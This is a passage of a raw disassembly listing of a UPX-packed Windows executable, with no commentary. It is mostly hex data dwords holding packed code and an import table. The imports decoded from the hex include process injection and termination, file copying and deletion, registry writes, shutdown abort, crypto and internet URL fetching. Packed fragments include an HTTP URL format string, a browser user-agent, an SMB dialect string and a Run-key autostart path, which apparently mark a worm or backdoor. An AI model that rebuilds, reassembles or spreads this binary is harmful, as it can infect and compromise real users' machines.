UPX0:30902718w ; UPX0:3090272Aw word_30904FEC dw 0 ; DATA XREF: sub_309024C8+3Br ; sub_3090252C:loc_3090258Dr ... align 10h dword_30904FF0 dd 0 ; DATA XREF: sub_30902AC9+25w ; sub_30902AC9+110w align 10h UPX0 ends ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00005000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 30905000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_30905000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:30906B01o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 65746E49h, 636F6C72h, 4964656Bh dd 6572636Eh, 746E656Dh, 72430100h, 65746165h, 6E657645h dd 1004174h, 74696157h, 53726F46h, 6C676E69h, 6A624F65h dd 746365h, 69725701h, 69466574h, 100656Ch, 736F6C43h dd 6E614865h, 656C64h, 65724301h, 46657461h, 41656C69h dd 736C0100h, 656C7274h, 100416Eh, 7274736Ch, 41746163h dd 65470100h, 73795374h, 446D6574h, 63657269h, 79726F74h dd 47010041h, 6F4C7465h, 656C6163h, 6F666E49h, 53010041h dd 7065656Ch, 736C0100h, 70637274h, 416E79h, 74654701h dd 72727543h, 50746E65h, 65636F72h, 1007373h, 50746547h dd 41636F72h, 65726464h, 1007373h, 64616F4Ch, 7262694Ch dd 41797261h, 72570100h, 50657469h, 65636F72h, 654D7373h dd 79726F6Dh, 704F0100h, 72506E65h, 7365636Fh, 47010073h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 74654701h dd 6B636954h, 6E756F43h, 43010074h, 74616572h, 74754D65h dd 417865h, 65724301h, 54657461h, 61657268h, 43010064h dd 74616572h, 6F725065h, 73736563h, 53010041h, 76457465h dd 746E65h, 65704F01h, 6576456Eh, 41746Eh, 69784501h, 72685474h dd 646165h, 61655201h, 6C694664h, 47010065h, 69467465h dd 6953656Ch, 100657Ah, 74697845h, 636F7250h, 737365h dd 74654701h, 7473614Ch, 6F727245h, 44010072h, 74656C65h dd 6C694665h, 4165h, 0D1h, 0 dd 67655201h, 61657243h, 654B6574h, 41784579h, 65520100h dd 74655367h, 756C6156h, 41784565h, 65520100h, 65755167h dd 61567972h, 4565756Ch, 1004178h, 4F676552h, 4B6E6570h dd 78457965h, 52010041h, 65446765h, 6574656Ch, 756C6156h dd 1004165h, 43676552h, 65736F6Ch, 79654Bh, 6F624101h dd 79537472h, 6D657473h, 74756853h, 6E776F64h, 43010041h dd 74707972h, 61657243h, 61486574h, 1006873h, 70797243h dd 73614874h, 74614468h, 43010061h, 74707972h, 69726556h dd 69537966h, 74616E67h, 41657275h, 72430100h, 44747079h dd 72747365h, 6148796Fh, 1006873h, 70797243h, 73654474h dd 796F7274h, 79654Bh, 79724301h, 65527470h, 7361656Ch dd 6E6F4365h, 74786574h, 72430100h, 41747079h, 69757163h dd 6F436572h, 7865746Eh, 1004174h, 70797243h, 706D4974h dd 4B74726Fh, 7965h, 0DEh, 0E8h, 61727301h, 100646Eh, 636D656Dh dd 1007970h, 6C727473h, 1006E65h, 736D656Dh, 1007465h dd 646E6172h, 655F0100h, 70656378h, 61685F74h, 656C646Eh dd 1003372h, 73727473h, 1007274h, 63727473h, 7268h, 0E9h dd 10Ch, 6E694601h, 6E695764h, 41776F64h, 65470100h, 726F4674h dd 6F726765h, 57646E75h, 6F646E69h, 47010077h, 69577465h dd 776F646Eh, 65726854h, 72506461h, 7365636Fh, 644973h dd 70737701h, 746E6972h, 4166h, 0F4h, 120h, 746E4901h dd 656E7265h, 65704F74h, 6C72556Eh, 49010041h, 7265746Eh dd 4F74656Eh, 416E6570h, 6E490100h, 6E726574h, 6C437465h dd 4865736Fh, 6C646E61h, 49010065h, 7265746Eh, 4774656Eh dd 6F437465h, 63656E6Eh, 53646574h, 65746174h, 6E490100h dd 6E726574h, 65527465h, 69466461h, 656Ch, 100h, 138h dd 0FF0073FFh, 0DFF0002h, 1FF00h, 0FF0039FFh, 34FF006Fh dd 17FF00h, 0FF000CFFh, 4FF0009h, 13FF00h, 0FF0010FFh dd 3FF0016h, 0 dd 45500000h, 14C0000h, 11EC0002h, 40D2h, 0 dd 0E00000h, 10B010Fh, 24000006h, 10000000h, 0 dd 22DF0000h, 10000000h, 40000000h, 0 db 90h db 30h, 0, 10h dd 2000000h, 40000h, 0 dd 40000h, 0 dd 50000000h, 4000000h, 0 dd 20000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 2C940000h, 8C0000h, 14h dup(0) dd 10000000h, 1780000h, 6 dup(0) dd 742E0000h, 747865h, 239C0000h, 10000000h, 24000000h dd 4000000h, 3 dup(0) dd 200000h, 642EE004h, 617461h, 0FF40000h, 40000000h, 10000000h dd 28000000h, 3 dup(0) dd 400000h, 4000C000h, 2E980000h, 44AE0000h, 0CF4D0000h dd 0A0024AC8h, 0AE1633A0h, 28695B9h, 0A73D7D03h, 369F6801h dd 76BB21B7h, 3A4A58E6h, 1B5AB7CCh, 66E43DB9h, 6A7684E0h dd 96F42A70h, 0A4073647h, 5EC860C4h, 0D997640Ah, 7A1939F0h dd 0A2280084h, 364B383Fh, 3C2ECDDBh, 10FCB26Ch, 77BDE298h dd 16754E4h, 7E500FDCh, 0C2DE1F2h, 0AC6870E3h, 0D328C00Dh dd 18D89C67h, 0E52708C9h, 6C861104h, 0DB0C7A6Eh, 4BC54C30h dd 2D4886C8h, 2EDB1CD6h, 0F3492FC8h, 41A8DE40h, 2719DE44h dd 40BC4B6Ch, 1BDE5044h, 0D6336F5h, 94B71E10h, 0EEB6970Dh dd 812193BFh, 0E87CACF9h, 1624A580h, 0B0250600h, 687E9F25h dd 1C9D1C52h, 99DE1276h, 96F47258h, 4C0AEF1Dh, 4B1E7C6Ah dd 7BC89C36h, 91BE4944h, 0C93C3E49h, 90E1547Bh, 0DD92EDCCh dd 0C49FE924h, 0CF782449h, 364052EDh, 0F88248CCh, 3331150Ch dd 66F4C2C2h, 86C7A02h, 9A85D0E8h, 0F42C5E70h, 4F03845Fh dd 1C09F89Bh, 204D1C54h, 83C07FA4h, 0A035EFEEh, 868F805h dd 0E4375712h, 57D85B27h, 4C145A74h, 4B74F80Eh, 0DD1CD868h dd 8682C4A2h, 0B6E53D74h, 8125A59Fh, 0FF9C4120h, 0E80FFC55h dd 167B5CD6h, 0AC50E4B9h, 6C0E9628h, 0F0EAFD35h, 0F8550702h dd 0E48C0009h, 0C0EC4EC1h, 0CF47558h, 321C4B87h, 0D8B18F1h dd 0E7619DE0h, 0EFFB648Bh, 573C41FEh, 6468C103h, 34488B84h dd 8950788Bh, 0B0A0F44Dh, 0BE6062A5h, 0D85468D8h, 0A51ACBADh dd 8A01F09Ah, 70631269h, 74ECE1ACh, 0D7300DEDh, 0E82110Ch dd 6C9A9D1Bh, 0A9DB1009h, 645D8B4Dh, 5051F8E1h, 68971418h dd 683A412Ah, 5DAC1B14h, 0BA03CAF8h, 6B58D12Ah, 57B3D434h dd 0E6ED831Dh, 0F05559ABh, 74CF7C7Dh, 376CC245h, 51F03EBAh dd 315350E9h, 0EE13C1A8h, 0D6D45FD9h, 0DA6A17FAh, 0D0E27FD4h dd 3BEC5577h, 100574C7h, 0E1731BEBh, 4D77B631h, 59DD0E68h dd 3505FC0Eh, 0EB6E7343h, 0EF740807h, 0BB860949h, 51174878h dd 0F60E751h, 12C86931h, 0D144685h, 0AEBB425h, 0AFDD836Dh dd 0E8B213B1h, 44CEBA0Fh, 0C22D59ACh, 0B8B66AF9h, 67B712C4h dd 500C803Ch, 585250A8h, 507D9DD3h, 195DBC2Ch, 0E91167F1h dd 57437C20h, 14247C8Bh, 6A37160Ch, 177EC998h, 0D5931A84h dd 0C280FFFFh, 1E148861h, 7CF73B46h, 3B2480E9h, 19544400h dd 43575B6Fh, 5A5F2E44h, 0DB5657ACh, 0D4C06074h, 732F8766h dd 0B6225BDCh, 1950F0BBh, 0AA005650h, 0F0E77ACh, 0C09584D0h dd 3249F405h, 683DADBAh, 0FFF00CFAh, 5B2708C7h, 34346DA6h dd 482E2ACCh, 66B5CE75h, 4C0A0AB6h, 181A20BCh, 84F85805h dd 0B807C650h, 2C013B7Fh, 0F6B7C73Bh, 8B0C40h, 8D510801h dd 215F2444h, 84D3112Ch, 3D3166Dh, 43072459h, 7FAB4277h dd 0C42007BBh, 9E3FDB2Fh, 0C8E433A1h, 10E7C1F8h, 0CD860B85h dd 6E3233h, 125D8B02h, 0A3807238h, 7AC1AB33h, 756480Ch dd 9BC6537Ch, 0F6ABD9E1h, 8451E11h, 0E5E46825h, 8026B40Eh dd 0CDC3E700h, 17C1C80Ch, 35884228h, 99DC6637h, 683D9864h dd 0D044B7A4h, 362C0D4Fh, 8CFE4763h, 98BAA54Dh, 0DA149B85h dd 0BF007C54h, 34775F81h, 0B933A1h, 3BC72B79h, 0EE0272C1h dd 8BDD76EDh, 2949E1C1h, 318C8A1h, 0B4AC23C7h, 8452DFC4h dd 2F72233Dh, 64F8786Ah, 3D67851Bh, 0E113C4EBh, 0E4D68743h dd 6815F26Eh, 68030B74h, 59D68A70h, 2D2F2CDBh, 45534753h dd 63E8C47Eh, 8B17CC76h, 0A3ED04C2h, 30CE0919h, 0A4AFE757h dd 82436D4Eh, 4EE3B3D0h, 43753B99h, 680662D7h, 1D89805Bh dd 25D42791h, 0E717B6DAh, 0C7B314DFh, 0CC1300F2h, 533CF6B6h dd 3A01027Bh, 0AD468E96h, 0ED6A8049h, 34A36740h, 22741A6Bh dd 0DE97D4C0h, 0FFA3BD59h, 97F1A310h, 0B67453FCh, 495184C6h dd 0FD03A79h, 5BB62337h, 5EEC2656h, 169A840Ch, 10C254BEh dd 56B35EF8h, 0A5E93B3Eh, 89E80C99h, 500EC5Dh, 7DD837FFh dd 1FFF25FBh, 0A3C33A04h, 0E77443DCh, 57CC8A12h, 84FA126Fh dd 50DF74C9h, 0A42EA5Eh, 0C6616E99h, 6458983Ch, 6BE8400Ch dd 5F6E0AFAh, 1FD807F8h, 0A472F644h, 366891FEh, 60FEA20h dd 0CF53E2EBh, 70A12E60h, 9043455Fh, 0B30EBDD6h, 38A17001h dd 11D6B033h, 6DA1E983h, 0D6D9023Eh, 0D8CC802Dh, 68B0CD86h dd 0E0A3ABE8h, 0EC6E0E0h, 6E7C1158h, 0DC1AD4A3h, 6C304ECFh dd 4552B73Dh, 1C0D29D8h, 766FB382h, 1A4B1904h, 235D68C5h dd 7DAFA413h, 0DEBE61A2h, 99591379h, 0D5830469h, 44D835D8h dd 11402C74h, 3A9C812Bh, 0CDB3C388h, 4E7E6CAAh, 5F70388Fh dd 0A35EB7B9h, 68FC0843h, 2D71850h, 0F6032032h, 482404C7h dd 7938400Bh, 30032032h, 64DD0E2Ch, 28A40640h, 64062024h dd 181C0640h, 0D0BF0714h, 38395943h, 0C683974h, 63915C4Eh dd 0F5A4CC3Bh, 0FC064E04h, 93090B4Dh, 58F41C93h, 0ECEDC90Ah dd 0EBAF12B6h, 0EC15216Fh, 1E169C0Ah, 0D739044Ch, 454CF326h dd 3B0B3E90h, 0B657141Dh, 5A138818h, 0F049C168h, 1402E3EBh dd 247031B1h, 1413FE0Ch, 0B6011F0Ah, 5E7FA480h, 0B458A51h dd 0EC38FA5Dh, 32FF1BADh, 4E3A52DBh, 97C423ECh, 3831F86Eh dd 8825EA5Dh, 73B0B5Dh, 0FB8067F0h, 35B70FB5h, 9953A4ECh dd 0D603FEF7h, 19FF8CB6h, 80C3FE3Ch, 0BD72FFFBh, 2762785Eh dd 765DA930h, 3320C25Fh, 64C870ADh, 84F5868h, 4CDB681h dd 510D0A86h, 6C530B09h, 6618EC13h, 0F753E75h, 25B3B562h dd 0EA24C863h, 0A1323D89h, 84BC83D2h, 43D703FFh, 47E1FB81h dd 0B7C98D62h, 5D875F9Fh, 0CAE77B3Ch, 1873CD74h, 0CF2F97A2h dd 0B1812DB7h, 0FF04FD73h, 0F35F8DFEh, 7F3CA716h, 0AD6BF788h dd 3B16618Bh, 0A43B8B6Ch, 0A33EAADCh, 4EC044A0h, 2F9E5776h dd 90629C57h, 0F887B3DBh, 252C1359h, 0E25E1AFFh, 75B36C56h dd 1068A3EEh, 0CD3A627h, 0BEC8EC3Ch, 70849ED3h, 96130DEh dd 4E0EA918h, 72D63018h, 508F80C9h, 0BD781E8Ah, 0B068BAB6h dd 80DCEB0Ah, 0B67B7C0h, 6068B003h, 7AB0EC4Eh, 1110DC97h dd 6C42F2E5h, 0F4C9B0BAh, 0B80C61Dh, 555CF7DFh, 2CEF0056h dd 425793B0h, 0D0CCE6E4h, 51C498F0h, 0FD1F0CA5h, 389B120Dh dd 531413F4h, 56DFF612h, 20BDDB3h, 0E838506Ah, 0D205EA5Dh dd 7A1C6B96h, 187400EDh, 10B21109h, 384EEC05h, 141998h dd 1606D84Fh, 9F840E77h, 746EAA28h, 0C7D5530Dh, 0D8B1080Dh dd 39C21051h, 6FA1AC4Ch, 0ED3A6728h, 117EED85h, 0DB17B456h dd 593DB61Dh, 96EF144Dh, 0F2EBA205h, 496E2C0Dh, 0EB657506h dd 6058ABDDh, 3F681DA2h, 8D47CC1Bh, 0C323058h, 0C06E5A15h dd 109DF161h, 51E01408h, 0BA385B2Dh, 0AD5618E7h, 31F618E8h dd 3E8D85C6h, 0DC743D56h, 0E05B742Ah, 8461AA0Ch, 0B6102050h dd 18B2C9C0h, 5E680308h, 0C598850Fh, 0C68B552Fh, 0EC99AA92h dd 562E75ACh, 5556532Ch, 82C5AC00h, 0AD62701h, 90392652h dd 0C040CE5h, 0F20C385Dh, 128602Ch, 707FDE53h, 4EDF3E29h dd 0F2948ED2h, 0E05C1E3Ch, 366F1783h, 0B5F7794Eh, 0F16C8897h dd 0A4DEBD6Eh, 0B35687Ah, 0F662BD8h, 0A410B296h, 17A04F77h dd 821C3820h, 748D477Dh, 0C1B3C566h, 0FC39011Eh, 0A379B156h dd 1CDC07F7h, 45E0B5FFh, 1F0FFFF6h, 5CD999Bh, 50600852h dd 1AB99D46h, 0BD767C0Eh, 8E38B789h, 120385EDh, 0C757D00Fh dd 91249003h, 66E4723h dd 64D87CD4h, 723958DCh, 50E0C8E4h, 2CE844E4h, 383220ECh dd 4F01C8Eh, 0B0F6F4F4h, 69A2F9C4h, 1BBF0A7Dh, 0C716C8BEh dd 8B35B0C2h, 0B0C8E718h, 5EA34597h, 0E177529h, 6C1769AAh dd 180B1DB2h, 0A4833793h, 4D64D448h, 814275B6h, 609B08C4h dd 9741478h, 98BBE0ADh, 88037F45h, 7340636Ah, 0FC17A184h dd 831B3813h, 0C08303E0h, 170D0105h, 2752A795h, 0DC8BC85Fh dd 0BC107210h, 0CC38693Dh, 26D63BDCh, 0DE38140Eh, 0E17B3059h dd 404C6150h, 0C596FB20h, 0ABF6F82Ch, 0B366C640h, 90309598h dd 9F424B41h, 0F454140Dh, 2C076F01h, 0D8A61E81h, 7D830184h dd 0C579562Eh, 14C7481Fh, 10DB802Fh, 52F02503h, 1D6AE05Dh dd 0EF843081h, 71CCBF50h, 303F51F0h, 74EA41D0h, 0BB0ADB37h dd 0EC457309h, 52D165AFh, 0BCA2F453h, 6C5ECF7h, 0B1383D53h dd 2590FEBh, 0CE35ED9Dh, 7D68B632h, 0B2D81C6h, 0BB2665E2h dd 0F17B2D9Bh, 9D4FAC68h, 60B9BB46h, 7385F40Dh, 125E74F9h dd 0A04D2C9Dh, 314CE7ADh, 8DE12199h, 0FD3BBBC6h, 82316F2Ch dd 7F0AE6Ch, 15EB0C48h, 216C5A31h, 7409CD60h, 0C300C8E5h dd 0D80C07FBh, 333D4F07h, 7668FA44h, 7B9B136Ah, 4011B67Bh dd 25FF00CCh, 0F40509FCh, 23233583h, 0CCECF0h, 350BEF51h dd 9B8D4352h, 0E9811472h, 63FB7D0Bh, 85042DBFh, 0EC731701h dd 0C48BC82Bh, 8BE18B0Ch, 0DD232308h, 5004925Bh, 5C644FC3h dd 61055058h, 4963h, 22C02A28h, 4BF15BF1h, 240206F3h, 31415352h dd 0FF012D80h, 177FFFFh, 11838DF5h, 2AEC5279h, 0E7F63AE4h dd 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 4032615Eh, 0A0FFFFFFh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 0FF72657Ah, 0B37FFFFFh, 697A6F4Dh, 2F616C6Ch, 20302E34h dd 6D6F6328h, 69746170h, 3B656C62h, 0FB534D20h, 49F6B7FFh dd 15362045h, 6E695709h, 73776F64h, 20544E20h, 29312E35h dd 377E696Fh, 12C1CA8h, 41FC040Ch, 0DF3CF3ECh, 9D800B7h dd 0ACB80EC8h, 3DF3CFA0h, 748090CFh, 545C6804h, 3CF3CF3Ch dd 10203444h, 0A650BF08h, 0F040FCF9h, 687465B6h, 7DBF7261h dd 2E64FDBBh, 7A6962h, 0BA6B6308h, 766C2E73h, 76766317h dd 0B6C7722Eh, 775B797h, 65777777h, 65A76C64h, 0DB6F6C0Fh dd 76B76FF7h, 306F670Ah, 74736F68h, 0E76B732Eh, 0F665E566h dd 73DBB1B7h, 68634565h, 6C1E0022h, 736E6564h, 0F6B7DA61h dd 660FB3DAh, 0FF095775h, 0D66B6EEBh, 69FFDACEh, 67726F2Eh dd 6F727400h, 611F206Ah, 0B7863A3Ch, 616BEC65h, 83746D0Ch dd 2F2E782Dh, 7B5ADB6Ch, 0E71065Bh, 2B6B2A62h, 0DB6D9DBFh dd 7A027626h, 7405630Bh, 6E2E706Fh, 636D96E6h, 735B6917h dd 16B56B27h, 78D80B7Eh, 6C757A0Fh, 83652D74h, 1DAD6869h dd 6B5B17D6h, 80C2BA8Dh, 9557BE15h, 9F694F91h, 0F685BF32h dd 777800FBh, 626A2C61h, 9B002562h, 7C24617Ah, 6166D9DBh dd 655D2EA8h, 0DBE75C23h, 6143C2FFh, 66236362h, 6A696867h dd 6E6D6C6Bh, 0BFFF71C5h, 0F772B7F1h, 78777675h, 418C7A79h dd 45444342h, 49484746h, 4D4C4B4Ah, 0F2FF68C3h, 51504F4Eh dd 57565554h, 1B5A5958h, 0B03B9B5Bh, 747468FFh, 2F2F3A70h dd 2F0B7325h, 7E2E9765h, 70F0B6FBh, 0E3F7068h, 73260F3Dh dd 64066E63h, 666E6926h, 7B7DB729h, 313D3B76h, 74132635h dd 0F6BBD81Bh, 58EB0760h, 3732313Dh, 3A3101A8h, 0FBEC8D80h dd 2F303038h, 0DFDF65h, 0FFDB6FE8h, 335DDFFFh, 0EEB966C9h dd 5758D01h, 68AFE8Bh, 4607993Ch, 46302C06h, 0FFE8946Fh dd 7889934h, 0EBEDE247h, 54DAE80Ah, 2E676557h, 0F7FEDFFFh dd 0C9999371h, 0BDFD1201h, 716FD91h, 0AA6872C1h, 0AA66FD42h dd 14BA10FDh, 0EFF75BB1h, 1A98A91Ch, 0F198F3C9h, 71028608h dd 0FB0F10C0h, 5F90FFB3h, 599237CBh, 3A781C96h, 7157E414h dd 713A0A7Dh, 93EDBEFBh, 0F19DF345h, 0F1098904h, 8E119C04h dd 409D23FDh, 0E3F367B3h, 0DC1C10F0h, 3D59B20Bh, 60EDEFF6h dd 125C99Bh, 0A10414D9h, 9E71CA17h, 8F964617h, 61688D2Bh dd 0E21AAD91h, 6F6D1D96h, 2811B3EDh, 0C850B2h, 57DC1499h dd 0DEDF2555h, 4E129FEDh, 1291C0A4h, 0F7ED9949h, 0C4140054h dd 0DD87CA3Ah, 71CBECFDh, 24FF1C3Bh, 0CF1A21E4h, 668FCDCDh dd 0B36C9FFBh, 1E3F812Ch, 83B8B0FBh, 5D12CDC3h, 6F9DB2A8h dd 1DCBC9B6h, 0B24AD25h, 7F64C9FEh, 96A6485Ah, 4C1B14C0h dd 0F3EBA729h, 0B3F7D99Ch, 16E9BACBh, 7126F434h, 6F0EFCF5h dd 0F9FFF776h, 29EF133Bh, 5F376B46h, 0EC4766DEh, 116ACA8h dd 0FFEF610Fh, 0EDFFC5B7h, 0FDE9ECE9h, 2CE1FCB7h, 0FCF5CA01h dd 0BBFDBFFFh, 0FCF25AFCh, 0F5FCF7EBh, 0C7D6ABAAh, 59AAF934h dd 2A2A25B4h, 93ACC966h, 0E5FF67F0h, 90B78190h, 0C983639Dh dd 309271CDh, 513519BFh, 0EC20FF14h, 0A95D9BEh, 712A9172h dd 0A5D2EBC8h, 0E180D512h, 0FB46FE9Ah, 6FAA52FFh, 9A2A8D14h dd 8B12B9C8h, 0C3474A9Ah, 0DB9BAB9Eh, 0FDBFA319h, 0EC20DFFFh dd 0BDDDA26Ch, 0DF9EED85h, 0EB81E8A2h, 0C8125544h, 2E961FBDh dd 912EB8Dh, 0D8FFCD0Bh, 125A9A85h, 5A9A099Dh, 0D096F810h dd 0BB6F6E22h, 7F6649FFh, 8712FEFDh, 95C25AA9h, 82128502h dd 0F95A9104h, 0CBDB4067h, 85B7CFF7h, 424D53FFh, 9CFF472h dd 0C85318B9h, 62FEFFh, 5B435002h, 83BFFFE3h, 4F575445h dd 50204B52h, 52474F52h, 31204D41h, 0EB4C17CDh, 41ED6290h dd 0A024D4Eh, 0B61566ABh, 0B752B75Bh, 0AA676B03h, 330E7075h dd 96EB74B6h, 4D27611Ah, 21583223h, 66D33232h, 2E321F2Ah dd 2018D631h, 33C8C93Ch, 0A48B3258h, 0DBEC0773h, 0CFA5A85h dd 40023FFh, 0DA140A11h, 201B1AA5h, 6976D405h, 7F044C00h dd 534BDE88h, 97EF5053h, 17E00882h, 8291EDF8h, 6E240057h dd 6F006400h, 0DE73009Dh, 3A736C5Eh, 9013074h, 3500398Ch dd 0C896DCC0h, 72E1D23h, 89CF2000h, 8ABDA6Ch, 9389DA20h dd 9F57324Ch, 902A0003h, 463B06C1h, 40074723h, 1E46E7FFh dd 10060006h, 8A151F01h, 48E088h, 4BFFFD4Fh, 364400D1h dd 0F27A6A19h, 281C49E4h, 742530AFh, 85536710h, 0E181137Ch dd 0AE75DF5Ch, 303CB6B9h, 75C0400h, 36085ABDh, 5CBDD772h dd 72E4D61h, 2E380036h, 6D8B9B77h, 491B3037h, 2043EC00h dd 79003F00h, 64633B0Eh, 6DFF20A2h, 4DC08F9h, 0FF1640h dd 0E00DEDEh, 13091600h, 19FF612h, 28402602h, 0BF7DC346h dd 8B110319h, 0D374D96Ch, 0C1ACBBE4h, 9C2A9B70h, 0B3D8256Bh dd 109F296Dh, 1B04480Eh, 1DD75D6Dh, 5A541354h, 22596326h dd 0B9FF345Ch, 45CBC7CFh, 58765h, 4810030Bh, 83DEC5FFh dd 0EB810B8h, 286A050Bh, 0E10C3919h, 0B1FFEC7Fh, 0A89B11D0h dd 0D94FC000h, 5D5FF52Eh, 1CEB8A88h, 0E89F11C9h, 97B22E3Ch dd 48102B7Dh, 0F40CD160h, 0E43C60A3h, 0CA07C95h, 0CB10CA0h dd 8032393Bh, 880CA000h, 0F9278440h, 900FEh, 703ECh, 4F401495h dd 7B06C8A5h, 0BF40707Ch, 0FFC20700h, 1343EC88h, 138578h dd 0E9A65BABh, 0E409CF13h, 2FF81079h, 300EFEFFh, 2318D458h dd 0D308FE40h, 84C1D27Dh, 10B94388h, 3601FFEEh, 0B8E4F279h dd 0AD200C10h, 15E5070Dh, 0F7F61F2h, 0F0118D8h, 709F2579h dd 0F840F84h, 0FC9E0F95h, 2009006h, 6C0F847Fh, 8784AA0Fh dd 0A89A004Dh, 0C88C096Fh, 1F1343DEh, 3FCAC0A6h, 50586E69h dd 725020h, 3C844F46h, 390144DBh, 123C6B32h, 3C840D15h dd 410275C9h, 0AF1C0053h, 947B221Ch, 0C606EB01h, 0FF9BFFF9h dd 73255C5Ch, 6370695Ch, 0EC816624h, 0E4FF071Ch, 44655300h dd 67756265h, 753518FAh, 67997669h, 6A6441A7h, 52D93375h dd 6F546137h, 73176EE0h, 6DC93FBBh, 75126F4Ch, 6C615670h dd 17416575h, 1A91704Fh, 6F287EDBh, 34732463h, 62A54300h dd 6176D4B0h, 79E3333Fh, 46CA205Ah, 65C46D4Ch, 37F12BAAh dd 72545F11h, 35577961h, 5B774317h, 61315B6Ah, 6F68521Ah dd 0C685405h, 3AA546B6h, 0DB735614h, 66DA4158h, 4F28D6EAh dd 3A777845h, 0E8D1356Eh, 0F547CF4Bh, 54481EF3h, 0DE7F5054h dd 3C2E25FBh, 20573220h, 0A0D4B4Fh, 76D54B01h, 449FA56Bh dd 44C2D02h, 0CD94B067h, 203AA5BEh, 2F187525h, 0B5B56D28h dd 0B57954F6h, 0AE70A326h, 0DAB51D63h, 2F15834Ch, 632DC702h dd 9353DCADh, 57C7C972h, 8546B647h, 0F42B0016h, 0AFF664F6h dd 0CBE58F74h, 736D8D73h, 16A96376h, 0CB8596A7h, 3F16977h dd 0EFEE9A69h, 75175F32h, 33033431h, 0C5CF3132h, 3930A5BAh dd 0D11B3817h, 64190607h, 31323390h, 0D484D430h, 0B7783541h dd 67FFCA3Ah, 7F9D90ADh, 54464F53h, 45524157h, 1F694D5Ch dd 0C5ADB62Ch, 835C9B6Fh, 7275435Ch, 0BA015DC3h, 9656D972h dd 75525CCEh, 0ED0C388h, 0C055A08Bh, 9B9236Bh, 66647FF9h dd 6E687361h, 6473647Ah, 0C49536Ch, 0C25EC25Bh, 96C0E57h dd 142B95B9h, 0BF57225Bh, 0EE0D4449h, 2053B806h, 20670A43h dd 76E7E576h, 0CADBD9Eh, 9D322C10h, 64532063h, 10E6D92Fh dd 1A1B6544h, 0B7337E87h, 1217232Ch, 35737983h, 1C3F1B1Ah dd 200F4200h, 8D6A0D6Bh, 1323AC5Bh, 24206D1Bh, 80C02C06h dd 44375E15h, 9EC9208Ch, 66BA6DBBh, 9C6D672Fh, 0F6B1632Ah dd 63246C2Fh, 7974690Ah, 6E614D20h, 2A6B1A1Eh, 0AE13B0h dd 36DE53C4h, 0B440A718h, 0C65A046h, 32DB1B80h, 1B470DC1h dd 4DB76F4Dh, 654FDD37h, 614E3346h, 6C01306Dh, 0BD6372CBh dd 5D01AE0Bh, 79704B0Ah, 1B724D19h, 0F0BD0ACEh, 0D8163265h dd 492E9A36h, 702F6C6Fh, 70C45354h, 50AD482Dh, 641913B3h dd 57533512h, 0FE33268h, 0B355754h, 2CCC1603h, 744E2118h dd 0B5D0EE74h, 5D616960h, 0D8912349h, 4F4B6DA1h, 61630A64h dd 0B0B6A34h, 76457B9Fh, 3461810Ch, 0BA536546h, 0B404ADEDh dd 6A624F91h, 7214748Ch, 562E6858h, 0D03F2DBCh, 62F7B048h dd 3A0CAA25h, 0DEE0D118h, 6E08DB61h, 0F94D61DBh, 9C743598h dd 634744BCh, 571479BDh, 0D956B5AAh, 32842B1Fh, 0B26CC60Fh dd 6509535Bh, 216EA770h, 25CF5BC8h, 0B12D40Bh, 0C2BD6496h dd 0F72B11Fh, 62694C1Bh, 0D73552FAh, 2BA09B06h, 13676D4Dh dd 60210166h, 12BA8291h, 63CE3616h, 7C6B4554h, 1ACD0475h dd 0A54DEBB6h, 8E0D4178h, 9B25ED08h, 39AF5D0Dh, 879582Dh dd 453862B3h, 0DCF03178h, 5527704h, 508652Eh, 4EBB3607h dd 9122657Ah, 0B5B4C14Ch, 0E645BBB6h, 65440DADh, 6C9BEC49h dd 47D15A04h, 70119867h, 654BFCEEh, 7D104579h, 0DAD61274h dd 0A510F61h, 0CD8B11EDh, 3095F602h, 0D010215Ah, 0C230EF6Eh dd 62410C51h, 56A6B7Bh, 0FB97A082h, 73FD6E38h, 16102D9Dh dd 28487774h, 0F6D9AF10h, 12440A05h, 86610E61h, 69ED8EB5h dd 67D77966h, 362B757Ah, 0D0DBD85Bh, 796FC56Ch, 406F112Ch dd 10D9DC21h, 43C18F52h, 83E3D9FEh, 6341149Fh, 72697571h dd 61D2B9C1h, 0A020494Dh, 0CDB133Ah, 0E8DE669Fh, 6C17273h dd 62C5B26Dh, 0E2C4738h, 68560F74h, 4D53AE67h, 65445F1Dh dd 0C0CC5C3Fh, 0ED685FE1h, 380227ACh, 7C6150Bh, 0E90FA563h dd 0A6AE598Ch, 343046AFh, 40330D14h, 0C165FCC7h, 30984115h dd 0DE0A148Bh, 6C2B76C1h, 676649B9h, 66B10570h, 441C4F41h dd 20F4CD3Ah, 0B600D64h, 55851EDBh, 0E11419Bh, 290961B8h dd 336B1449h, 335325Ch, 53A32B6Eh, 111A8174h, 542C648Bh dd 6D9659C0h, 73FF2353h, 10D0202h, 65965965h, 17346F39h dd 5965950Ch, 13040996h, 0B66F1610h, 50E9183Ah, 0EC4C4945h dd 4640D211h, 0FD3A1E5Fh, 10B01E0h, 60B17406h, 1324CECFh dd 250B22DFh, 14AFA12Dh, 0FD020BF7h, 9BD96E67h, 1E0C5007h dd 65E01034h, 607606Fh, 0FB2C9400h, 85590805h, 178648Ch dd 0E3C0351Eh, 0A552E0Ah, 46460923h, 0CA249083h, 7B720B52h dd 2EE004BCh, 0F4FBE164h, 0D7E22B0Fh, 2728EC2Dh, 9804C016h dd 